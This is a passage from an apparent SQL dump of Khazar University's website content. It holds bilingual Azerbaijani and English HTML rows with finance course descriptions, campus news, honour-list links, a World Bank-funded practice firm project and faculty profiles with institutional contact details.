(6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>This is an introductory course in the financial\r\nmanagement of non-financial corporations and the role of interest rates and\r\ncapital markets in the economy. Topics include the structure and analysis of\r\nfinancial statements, time value of money calculations (using financial\r\ncalculators), stock and bond valuation of income-producing physical assets,\r\ndetermination of the cost of capital and the profitability of proposed\r\ninvestments in fixed assets, risk-return tradeoffs that must be considered in\r\nusing financial leverage, and methods used in obtaining funds from the various\r\ncapital markets.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 350: Money, Banking and Financial Institutions (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course examines the structure of the Central Bank,\r\nits behavior, form, functions, instruments, goals; deposit creation, money\r\ndemand and supply; determination of interest rate; understanding of financial\r\ninstruments; financial institutions: banking firms, depository and non-depository\r\ninstitutions; money market; the structure of rates of return; the peculiarities\r\nof economics of money, banking and financial institutions of Azerbaijan\r\nRepublic.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 405: Commercial Loan Analysis (6 credits)</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>Students examine financial statements and business\r\ncharacteristics to learn the information content of financial statements.\r\nApplications focus on how they can be used to identify the pattern of funds\r\nneed for a business and the best financing vehicle to meet that need. The\r\nprimary tools of analysis are financial statement construction, cash flow\r\nstatements, financial ratios, common-sized statements, cash budgets, proforma\r\nstatements, sustainable growth, rates, and cost – volume- profit analysis. The\r\ncourse develops an ability to evaluate the needs of a variety of companies that\r\ndiffer with respect to type, industry, profitability, growth, seasonality,\r\ncyclicality, and degree of distress.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 410: Financial Management (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>Valuation models, capital budgeting, cost of capital,\r\ncapital structure, portfolio theory, capital asset pricing models, innovations\r\nin treasury management, and financial planning.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 415: Public Finance (6 credits)</strong></p>\r\n<p><strong>Prerequisite: ECON 202 or ECON 315</strong></p>\r\n<p>The course covers the following: tundamental principles\r\nof public finance. The logic of the budget process. Budget structures and\r\ninstitutions: federal and state-local. Capital budgeting, public infrastructure\r\ninvestment, and project evaluation. Budget methods and practices. Income taxes,\r\ntaxes on goods and services, property taxes. Revenue from user fees, user\r\ncharges, and sales by public monopolies. Revenue forecasts, revenue estimates,\r\nand tax expenditure budgets. Intergovernmental fiscal relations. Debt\r\nadministration, cash management and employee retirement funds.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 420: Investment Management (6 credits)</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>This course explores the practical aspects of investment\r\nvaluation and portfolio management in a global framework. The focus is on\r\nmarket microstructure, bond- and equity-portfolio management and overall asset\r\nallocation.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 425: Commercial and Investment Banking&nbsp;(6\r\ncredits)</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>Course will examine in some details the principal\r\nbusinesses banks are involved in and see how different banks are pursuing\r\ndifferent models.&nbsp; In particular, bank management, financial statements,\r\nthe asset-liabilities structure, revenue earning features, and risk management\r\nof banks will be examined. In addition, their cost and return features,\r\ntogether with recent developments in the industry will be outlined. We will\r\nfocus on a number of overarching themes, such as the interplay of regulatory\r\nchanges, globalization, technological advances and financial innovation and the\r\nemergence of new markets.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 430: Investments (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>The course combines practical application and theory.\r\nDuring the class sessions concept checks, numerical examples and boxed\r\napplications from the popular business press will be introduced. The course\r\ncovers all of the important investment topics, provides understanding of the\r\nvalue of diversifying portfolios, principles of portfolio building, ways of\r\nefficient diversification. Efficient market hypotheses are also analyzed.\r\nStudents analyze financial statements, study technical analysis and use these\r\nand other methods for security analysis.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 435: Risk Management (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>This course aims to introduce students to the rationale,\r\nprinciples, process and main tools of risk management. Topics covered include\r\nthe concept of risk, risk theory, risk measurement, corporate risks and the\r\nrationales of corporate risk management, risk management organization and\r\nprocess, and some key tools of risk management.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>FIN 440: Financial Markets (6\r\ncredits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>\r\n<p><strong>Prerequisite: FIN 310</strong></p>\r\n<p>This course provides an understanding of the mechanisms\r\nof various financial markets, and institutions such as banks, stock exchanges\r\nand brokers. The course develops a critical awareness of the theoretical and\r\npractical problems associated with regulating financial markets, investigates\r\nhow the market structures potentially cause and mitigate financial risk to\r\nmarket participants and end users.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>  <br></div>'),(1723,1070,'az','Gənc elektronika mühəndislərinin uğurları','Mühəndislik və tətbiqi elmlər fakültəsinin elektronika və biotibbi mühəndislik ixtisasları üzrə təhsil alan bir qrup tələbələr üçün təşkil olunan “Elektrik mühəndisliyi” fənnində praktiki işlərə daha çox əhəmiyyət verilir.','<p>Mühəndislik və tətbiqi elmlər fakültəsinin elektronika və biotibbi mühəndislik ixtisasları üzrə təhsil alan bir qrup tələbələr üçün təşkil olunan “Elektrik mühəndisliyi” fənnində praktiki işlərə daha çox əhəmiyyət verilir. Tələbələr bir-birindən maraqlı elektronik qurğular yığaraq onları nümayiş etdirirlər. Bunlardan bəziləri daha əhəmiyyətli olduğundan, onlar artıq internetdə video formatda yerləşdirilmişdir.</p><p>1) “Avtomatik günəş izləyici panel” –&nbsp;<a href=\"https://youtu.be/xRqpoiRBRUw\" target=\"_blank\">https://youtu.be/xRqpoiRBRUw</a>;</p><p>2) “Vakuum təmizləyici qurğu” –&nbsp;<a href=\"https://youtu.be/84CsX-zrFS4\" target=\"_blank\">https://youtu.be/84CsX-zrFS4</a>;</p><p>3) “Günəş enerjisi ilə mobil telefon yükləyicisi”&nbsp; ­–&nbsp;<a href=\"https://youtu.be/r2S8dylqTp8\" target=\"_blank\">https://youtu.be/r2S8dylqTp8</a>.</p>'),(359,225,'az','Fərqlənən tələbələr','Fərqlənən tələbələr','<div><br></div><div><a href=\"http://www.khazar.org/files/economics/bakalavrmaster_distungues.pdf\"><strong>Fərqlənən tələbələr 2015 Payız semestrı</strong></a></div><div><a href=\"http://www.khazar.org/files/eco_depart/honour_list_2016_spring_Az.pdf\"><br></a></div><div> <div><strong style=\"color:#0000ee\"><a href=\"http://www.khazar.org/files/eco_depart/honour_list_2016_spring_Az.pdf\">Fərqlənən tələbələr 2016&nbsp;Yaz&nbsp;semestrı</a></strong></div><br></div><div><a href=\"http://www.khazar.org/files/eco_depart/GPA%20Spring%202017.pdf\"><strong>Fərqlənən tələbələr 2017&nbsp;Yaz&nbsp;semestrı</strong> </a> <br></div><div><br></div>'),(1955,1195,'az','Professor Hamlet İsaxanlının “Imagine” komandası ilə Amerikaya səfər öncəsi görüşü','2016-cı il iyunun 9-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar şurasının sədri professor Hamlet İsaxanlı “Imagine” komandasının üzvləri ilə onların Amerikaya səfərindən öncə görüşdü.','<p>2016-cı il iyunun 9-da Xəzər Universitetinin təsisçisi, Direktorlar və\r\nQəyyumlar şurasının sədri professor Hamlet İsaxanlı “Imagine” komandasının üzvləri\r\nilə onların Amerikaya səfərindən öncə görüşdü. </p>\r\n<p>Qeyd edək ki, Xəzər Universitetinin “Imagine” komandası P2P:\r\nEkstremizmə qarşı Mübarizə Proqramında iştirakları çərçivəsində hazırladıqları\r\nvə həyata keçirdikləri marketinq kampaniyası ilə top 6 finalçıdan biri\r\nseçilmişdir. Gənclər üçün olan bu qlobal təşəbbüsün və beynəlxalq müsabiqənin\r\n2016-cı ilin yaz dövründə dünyanın 30 ölkəsindən 100 universitet iştirak\r\nedirdi. Bu il Azərbaycandan bu müsabiqəyə 2 universitet qoşulmuşdu.</p>\r\n<p>Seçilən top 6 finalçı komanda 2016-cı ilin iyununda\r\nöz kampaniyalarını ABŞ-da (Washington, D.C.) təqdim edəcək. Altı komanda ABŞ\r\nDövlət Departamenti və <strong><em>Facebook</em></strong>&nbsp; şirkətini təmsil edən iki\r\nmünsiflər heyəti tərəfindən seçilmişdir. Hər iki münsiflər heyəti təqaüd üçün\r\nbir-birləri ilə yarışan üç komanda seçmişdilər. </p>\r\n<p>Professor İsaxanlı “Imagine” komandasının üzvlərini qələbə və əldə\r\netdikləri nailiyyət münasibətilə təbrik etdi və onlara ABŞ-da keçirəcəkləri təqdimatda\r\nuğurlar arzuladı.&nbsp;</p>'),(1956,1195,'en','Professor Hamlet Isaxanli Meets with Team Imagine before their Departure for USA ','On June 9, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with the members of the Imagine Team before their departure to the USA.','<p>On June 9, 2016, Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, met with the\r\nmembers of the Imagine Team before their departure to the USA.</p>\r\n<p>The Imagine Team of Khazar University was selected as one of the top\r\nsix teams for the marketing campaign they designed and implemented within their\r\nparticipation in the Peer-to-Peer (P2P): Challenging Extremism Program. Around\r\n100 universities from more than 30 countries participated in the spring 2016 cycle\r\nof this global youth initiative and international competition. Two universities\r\nfrom Azerbaijan joined the Extremism Challenge this year. </p>\r\n<p>&nbsp;</p>\r\n<p>Six (6) top teams have been selected to present their marketing\r\ncampaigns in Washington, D.C. in June 2016. These six teams were selected by\r\ntwo panels of judges representing the U.S. Department of State and Facebook.\r\nEach panel of judges selected three teams who will be competing against each\r\nother for the scholarship award.</p>\r\n<p>&nbsp;</p>\r\n<p>Prof. Hamlet Isaxanli congratulated the team with their achievement\r\nand wished them good luck in the upcoming presentation in the USA.</p>'),(2357,1434,'az','Coğrafiya və ətraf mühit departamentinin əməkdaşları Koreyada konfransda oldular','2016-cı il oktyabrın 11-dən 16-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin əməkdaşları Rövşən Abbasov və Rövşən Kərimov Koreyanın...','<p>2016-cı il oktyabrın\r\n11-dən 16-dək Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin əməkdaşları\r\nRövşən Abbasov və Rövşən Kərimov Koreyanın Seul şəhərində keçirilən “İstixana\r\nqazlarının inventarlaşdırılması” <em>(Greenhouse\r\nGas Inventory)</em> adlı beynəlxalq konfransda iştirak etmiş və təqdimat keçirmişlər. &nbsp;</p>'),(2358,1433,'en','Founder Visits School Number 184','On October 15, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and Dr. Elza Semedli...','<p>On October 15, 2016, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, and Dr. Elza Semedli, Dean of the School of Education,\r\nvisited School number 184 by the invitation of Rashad Aljanov, who has newly\r\nbeen appointed Director of the school and who graduated from the course for\r\nPotential School Directors at Khazar University. They participated in the\r\nOctober 18- Independence Day program put on by students as part of the\r\nSchool-University Cooperation project. Hamlet Isaxanli made a speech at the\r\nevent about interesting facts in the history of independence of the Azerbaijani\r\npeople and the restoration of Azerbaijani independence on October 18, 1991,\r\nciting examples to show the importance of independence. The event continued\r\nwith various patriotic presentations by students. At the end, they presented a\r\nthank-you plaque to Hamlet Isaxanli for his attention to the school and\r\nparticipation in the event. </p>\r\n<p>Professor\r\nIsaxanli also presented his own books and several Khazar University gifts to\r\nthe school and noted that Khazar University would always be ready to provide\r\nsupport to the education of the school. </p>\r\n<p>&nbsp;</p>'),(2359,1434,'en','Faculty Members of Department of Geography and Environment at Conference in Korea','On October 11-16, 2016, Dr. Rovshan Abbasov, Chair of the Department of Geography and the Environment, and Rovshan Karimov...','<p>On\r\nOctober 11-16, 2016, Dr. Rovshan Abbasov, Chair of the\r\nDepartment of Geography and the Environment, and Rovshan Karimov, faculty\r\nmember, attended and made presentations at the Greenhouse Gas Inventory\r\ninternational conference in Seoul, Korea.&nbsp;</p>'),(2360,1435,'az','“Xəzər”in məzunu “Uğur hekayəsi”ni danışdı','2016-cı il oktyabrın 14-də “Kaspi” qəzetnin rəsmi internet səhifəsində (http://kaspi.az/) Xəzər Universitetinin məzunu Elməddin Hüseynovla...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il oktyabrın 14-də “Kaspi” qəzetnin\r\nrəsmi internet səhifəsində (<a href=\"http://kaspi.az/\"><strong><em>http://kaspi.az/</em></strong></a>)\r\nXəzər Universitetinin məzunu Elməddin Hüseynovla “Təşəbbüskar olmaq lazımdır”\r\nbaşlıqlı müsahibə yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kaspi.az/az/tesebbuskar-olmaq-lazimdir-uur-hekayesi/\">http://kaspi.az/az/tesebbuskar-olmaq-lazimdir-uur-hekayesi/</a>.&nbsp;</p>'),(2362,1435,'en','Khazar Alumnus Shares Success Story ','On October 14, 2016, the Kaspi Newspaper published a story on its website (http://kaspi.az/)  entitled “One Needs to Take Initiative” with an interview of Elmeddin Huseynov...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On October 14, 2016, the Kaspi Newspaper\r\npublished a story on its website (<a href=\"http://kaspi.az/\"><strong><em>http://kaspi.az/</em></strong></a>)&nbsp;\r\nentitled “One Needs to Take Initiative” with an interview of Elmeddin Huseynov,\r\nKhazar University alumnus. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The interview is available at the\r\nfollowing link: <a href=\"http://kaspi.az/az/tesebbuskar-olmaq-lazimdir-uur-hekayesi/\">http://kaspi.az/az/tesebbuskar-olmaq-lazimdir-uur-hekayesi/</a>.</p>'),(2363,1436,'az','Mühəndislik və tətbiqi elmlər fakültəsinin tələbələri üçün təlim-seminar keçirildi','2016-ci il oktyabrın 18-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində...','<p>2016-ci\r\nil oktyabrın 18-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər\r\nUniversitetinin Mühəndislik və tətbiqi elmlər&nbsp;fakültəsinin tələbələri üçün\r\ntəlim-seminar keçirildi. Təlim-seminar zamanı Xəzər Universiteti Əlilliyi olan\r\nTələbələr üçün Mərkəzin koordinatoru Rima Məmmədova tələbələrə əlillik, əlilliyi\r\nolan tələbələrlə etik davranış və düzgün ünsiyyət, inkluziv təhsil, ESFİDİP\r\nTempus layihəsi, Əlilliyi olan Tələbələr üçün Mərkəz və könüllülük haqqında\r\ngeniş məlumat verdi.</p>\r\n<p>Təlim-seminarda\r\n21 nəfər tələbə iştirak edirdi.</p>'),(2364,1437,'az','İqtisadiyyat və menecment fakültəsinin tələbələri üçün təlim-seminar keçirildi','2016-ci il oktyabrın 18-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər Universitetinin İqtisadiyyat və menecment fakültəsinin...','<p>2016-ci\r\nil oktyabrın 18-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində Xəzər\r\nUniversitetinin İqtisadiyyat və menecment&nbsp;fakültəsinin tələbələri üçün təlim-seminar\r\nkeçirildi. Təlim-seminar zamanı Xəzər Universiteti Əlilliyi olan Tələbələr üçün\r\nMərkəzin koordinatoru Rima Məmmədova tələbələrə əlillik, əlilliyi olan tələbələrlə\r\netik davranış və düzgün ünsiyyət, inkluziv təhsil, ESFİDİP Tempus layihəsi,\r\nƏlilliyi olan Tələbələr üçün Mərkəz və könüllülük haqqında geniş məlumat verdi.</p>\r\n<p>Təlim-seminarda 27 nəfər\r\ntələbə iştirak edirdi.</p>'),(2366,1438,'en','Useful Links','Useful Links','<a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\"></a><p><strong><a href=\"http://www.khazar.org/files/psycho_depart/Psixiatriya_yardimi_haqqinda_Azerbaycan_Respublikasinin_Qanunu.pdf\">Psixiatriya yardımı haqqında Azərbaycan Respublikasının Qanunu</a></strong><br></p><p><a href=\"https://www.facebook.com/xezer.psixolojixidmet.merkezi/\">https://www.facebook.com/xezer.psixolojixidmet.merkezi/</a><br></p><p><a href=\"https://www.facebook.com/khazarpsych/\">https://www.facebook.com/khazarpsych/</a></p>'),(360,225,'en','Distinguished Students','Distinguished Students','<p><br></p><p style=\"font-family:\'times new roman\', times, serif\"><em><strong><a href=\"http://www.khazar.org/files/economics/Bachelour_distiguesh.pdf\">Distinguished Students 2015 Fall semester&nbsp;</a></strong></em></p><p style=\"font-family:\'times new roman\', times, serif\"><em><strong><em><strong><a href=\"http://www.khazar.org/files/eco_depart/honour%20list%202016%20spring%20ENG%20(1).docx\">Distinguished Students 2016&nbsp;Spring&nbsp;semester</a></strong></em>  <br></strong></em></p><p style=\"font-family:\'times new roman\', times, serif\"><em><strong><a href=\"http://www.khazar.org/files/eco_depart/GPA_Spring_2017_ENG.pdf\"><em><strong><em><strong>Distinguished Students 2017&nbsp;Spring&nbsp;semester</strong></em>&nbsp;</strong></em> </a> <br></strong></em></p><p style=\"font-family:\'times new roman\', times, serif\"><em><strong><span style=\"text-decoration:underline\"><br></span></strong></em></p>'),(361,226,'en','Alumni','Alumni','<div><br></div>Click here for more information -&nbsp;<a href=\"http://www.khazar.org/en/menus/1014/school_of_economics_and_management\">School of Economics and Management</a>     <div><br></div>'),(362,226,'az','Məzunlar','Məzunlar','<div><br></div><div>Ətraflı məlumat üçün daxil olun - <a href=\"http://www.khazar.org/en/menus/1014/school_of_economics_and_management\">İqtisadiyyat və Menecment fakültəsi</a></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(363,227,'az','Virtual Təcrübə Firması','Virtual Təcrübə Firması','<strong>Azərbaycan Respublikası Sosial Müdafiənin İnkişafı Layihəsi</strong><div><br></div><div><p>Sosial Müdafiənin İnkişafı Layihəsi&nbsp;Azərbaycan Respublikasının Əmək və Əhalinin Sosial Müdafiəsi Nazirliyi tərəfindən dəstəklənir və Dünya Bankı tərəfindən maliyyələşdirilir.&nbsp;&nbsp;Layihənin ümumi ideyasına əsasən&nbsp;Təcrübə Firmasının mərkəzi ofisi&nbsp;&nbsp;Xəzər Universitetində və Azərbaycan Dövlət İqtisad Universitetində yaradılmışdır. Xəzər Universitetinin nəzdində yerləşən mərkəzi ofis İqtisadiyyat və Menecment departamenti tərəfindən idarə olunur.&nbsp;Təcrübə Firması gənc məzunlara və ya yuxarı kurs tələbələrinə interaktiv təlimin yaxşılaşdırılması və &nbsp;biznes bacarıqlarınının əldə edilməsi və inkişaf etdirilməsi sahəsində&nbsp; yardım göstərir. Təcrübə Firmasının bütün konsepsiyası&nbsp;tələbələri gündəlik iş həyatı və əmək bazarının reallığı ilə tanış etməkdir.</p><p> Layihənin Avropa tərəfdaşı dünyanın 42 ölkəsindən 7.500-dən çox təcrübə firmasının birgə şəbəkəsi olan “EUROPEN-PEN INTERNATIONAL”- dır. Pen International heyəti Rumıniya, Bolqarıstan, Sloveniya, Çexiya, Xorvatiya, Litva və Argentina kimi ölkələrdə təcrübə firmalarının yaradılmasında geniş təcrübəyə malikdirlər.&nbsp;</p>  <div><br></div><p><strong>Dr.&nbsp;Ceyhun Məmmədov</strong></p></div><p><strong>İqtisadiyyat və Menecment departamentinin müdiri</strong></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(364,227,'en','Virtual Practice Firm','Virtual Practice Firm','<p style=\"text-align:justify;font-size:medium\"><strong><br></strong></p><p style=\"text-align:justify;font-size:medium\"><strong>Azerbaijan Republic&nbsp;Social Protection Development\r\nProject</strong></p>\r\n<p style=\"text-align:justify;font-size:medium\">The project is on the Design and Implementation of Virtual\r\nEnterprise (a Practice Firm) Project supported by the Ministry of Labor and\r\nSocial Protection of the Population of Azerbaijan Republic and funded by World\r\nBank. According to the general idea of the project, a Central Office and\r\nPractice Firms have been established in Azerbaijani universities, namely at\r\nKhazar University and Azerbaijan State Economic University. The Central Office\r\nlocated at Khazar University is administered by Economics and Management Department\r\nand responsible for overall management and operation of the Azerbaijan practice\r\nfirm network. Practice Firms will assist young graduates and/or senior students\r\nto improve interactive learning, obtain and develop business skills. The whole\r\nconcept of the Practice firm is to introduce the students to daily business\r\nlife and the reality of the labor market.<br>\r\n<br>\r\nThe European partner of the project is EUROPEN-PEN INTERNATIONAL, a network of\r\npractice firms worldwide with over 7.500 practice firms in 42 countries. The staff\r\nof Pen International has extensive experience in setting up Practice Firms in\r\ncountries like Romania, Bulgaria, Slovenia, Czech Republic, Croatia, Lithuania\r\nand Argentina. It also supported its Austrian member ACTIF in the setting up of\r\npractice firms. &nbsp;</p>\r\n<p style=\"text-align:justify;font-size:medium\">&nbsp;</p>\r\n<p style=\"text-align:justify;font-size:medium\"><strong><span style=\"text-decoration:underline\">Dr. Jeyhun Mammadov</span></strong></p>\r\n<p style=\"text-align:justify;font-size:medium\"><strong><span style=\"text-decoration:underline\">Central Office General Manager</span></strong></p>'),(365,216,'az','Elmi Heyəti','Elmi Heyəti','<p style=\"font-size:medium\"><strong><img src=\"/files/demo/14_11_01_Jeyhun-Mammadov.jpg\" style=\"width:150px;height:163px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/demo/JMammadov_CV.pdf\">Dr.&nbsp;Ceyhun &nbsp;Məmmədov</a></strong></p><p style=\"font-size:medium\">Iqtisadiyyat və Menecment fakültəsinin dekanı</p><p style=\"font-size:medium\">Iqtisad elmləri üzrə fəlsəfə doktoru,&nbsp;Bielefeld Universiteti, Almaniya  <br></p><p style=\"font-size:medium\">Magistr,&nbsp;Lissabon Nova Universiteti, Portuqaliya  </p><p style=\"font-size:medium\">E- mail:&nbsp;<a href=\"mailto:Jmammadov@khazar.org\">Jmammadov[at]khazar.org</a></p><p style=\"font-size:medium;padding-left:160px\"><a href=\"mailto:Jmammadov@khazar.org\"></a><strong>Telefon:&nbsp;</strong>+994 12 4217916 (277)</p>\r\n<hr>\r\n<a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\" style=\"font-weight:bold;font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"http://www.khazar.org/files/eco_depart/Sekil%20Muxtarov.jpg\" style=\"border:7px;margin:7px;width:150px;height:130px;float:left\"><strong></strong></a><p style=\"font-weight:bold;font-size:medium\"><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\">Dr.&nbsp;Şəhriyar Muxtarov</a></p><p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\"></a>Iqtisadiyyat və Menecment fakültəsinin dekan müavini</p><p style=\"font-size:medium\">Iqtisad elmləri üzrə fəlsəfə doktoru  , Marmara Universiteti, Türkiyə</p><p style=\"font-size:medium\">Magistr,&nbsp;Bank işi, Marmara Universiteti, Türkiyə&nbsp;</p><p style=\"font-size:medium;padding-left:160px\"><strong>E- mail: </strong> <a href=\"mailto:smukhtarov[at]khazar.org\">smukhtarov[at]khazar.org</a></p><p style=\"font-size:medium;padding-left:160px\"><strong>Telefon:&nbsp;</strong>+994 12 4217916 (259)&nbsp;</p>\r\n<hr>\r\n<p style=\"font-size:medium\"><strong><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\"><img src=\"http://www.khazar.org/files/demo/M_Nuriyev.jpeg\" style=\"border:0px  #0000ee;width:150px;height:189px;margin:7px;float:left\">Prof.&nbsp;Məhəmməd Nuriyev</a></strong>&nbsp;<br></p><p style=\"font-size:medium\">Tələbə işləri üzrə prorektor</p><p style=\"font-size:medium\">Texniki elmlər üzrə elmlər doktoru, professor, Azərbaycan Dövlət Neft Akademiyası  <br></p><p style=\"font-size:medium\">Magistr,&nbsp;Azərbaycan Neft və Kimya İnstitutu, Azərbaycan  </p><p style=\"font-size:medium\">E-mail:&nbsp;<a href=\"mailto:mnouriev@khazar.org\">mnouriev[at]khazar.org</a></p><p style=\"font-size:medium\">+994 12 4217916 (223)</p>\r\n<hr>\r\n<p style=\"font-size:medium\"><strong><a href=\"http://www.khazar.org/files/demo/IngilabAhmadovCV1%20(2).pdf\">Prof. İnqilab Əhmədov</a></strong><strong><img src=\"http://www.khazar.org/files/demo/14_12_19_PROFINGILABAHMADOV1.jpg\" style=\"border:0px  #000000;width:150px;height:202px;margin:7px;float:left\"></strong></p><p style=\"font-size:medium\">İqtisad elmləri üzrə elmlər&nbsp;doktor,&nbsp;Sankt-Peterburq&nbsp;Dövlət Universiteti, Rusiya&nbsp;<strong></strong></p><p style=\"font-size:medium\">Magistr, Leninqrad Dövlət Universiteti, Rusiya</p><p style=\"font-size:medium\">E-mail:&nbsp;<a href=\"mailto:mnouriev@khazar.org\">ingilab[at]khazar.org</a></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p>\r\n<hr>\r\n<p style=\"font-size:medium\"><strong><img src=\"http://www.khazar.org/files/demo/13_09_18_FRasulov.JPG\" style=\"border:0px  #000000;width:150px;height:205px;margin:7px;float:left\"></strong><strong><a href=\"http://www.khazar.org/files/demo/FuatRasulovCV%20(1).pdf\">Prof. Fuat Rəsulov</a></strong></p><p style=\"font-size:medium\">Texniki elmlər üzrə elmlər namizədi, Moskva İnstitutu, Rusiya  <br></p><p style=\"font-size:medium\">Magistr,&nbsp;Azərbaycan Neft və Kimya İnstitutu, Azərbaycan  </p><p style=\"font-size:medium\">E-mail:&nbsp;<a href=\"mailto:mnouriev@khazar.org\">frasulov[at]khazar.org</a></p><p style=\"font-size:medium\">+994 12 421&nbsp;79&nbsp;16&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><strong><a href=\"http://www.khazar.org/files/economics/CV-Elsevar-Ibadov.pdf\">Dr.&nbsp;Elsevər İbadov</a></strong><strong><a href=\"http://www.khazar.org/files/economics/CV-Elsevar-Ibadov.pdf\"><img src=\"http://www.khazar.org/files/economics/elsevar_ibadov.png\" style=\"width:150px;height:184px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><p><br>İqtisadiyyat və Menecment departamentinin koordinatoru<br></p><p>Maliyyə uçotu üzrə fəlsəfə doktoru (Atatürk Universiteti, Türkiyə)</p><p>Maliyyə uçotu üzrə magistr&nbsp;(Dumlupınar&nbsp;Universiteti,&nbsp;Türkiyə)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eibadov@khazar.org\">eibadov[at]khazar.org</a></p>  <div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div>\r\n<hr>\r\n<p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/eco_depart/1.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:205px;margin:7px\"><strong><a href=\"http://www.khazar.org/files/eco_depart/AhmetBahadirBaysalCV.pdf\">Dr.&nbsp;Bahadur Baysal</a></strong></p><p style=\"font-size:medium\">İqtisadiyyat və Menecment departamentinin koordinatoru</p><p style=\"font-size:medium\">İqtisad elmləri üzrə fəlsəfə doktoru, Xəzər Universiteti, Azərbaycan  <br></p><p style=\"font-size:medium\">Magistr, Troy Dövlət Universiteti, ABŞ</p><p style=\"font-size:medium\">E-mail:&nbsp;<a href=\"mailto: bbaysal[at]khazar.org\">bbaysal[at]khazar.org</a></p><p style=\"font-size:medium\">+994 12 4217916&nbsp;&nbsp;(256)</p><p style=\"font-size:medium\"><br></p>\r\n<hr>\r\n<p style=\"font-size:medium\"><strong><a 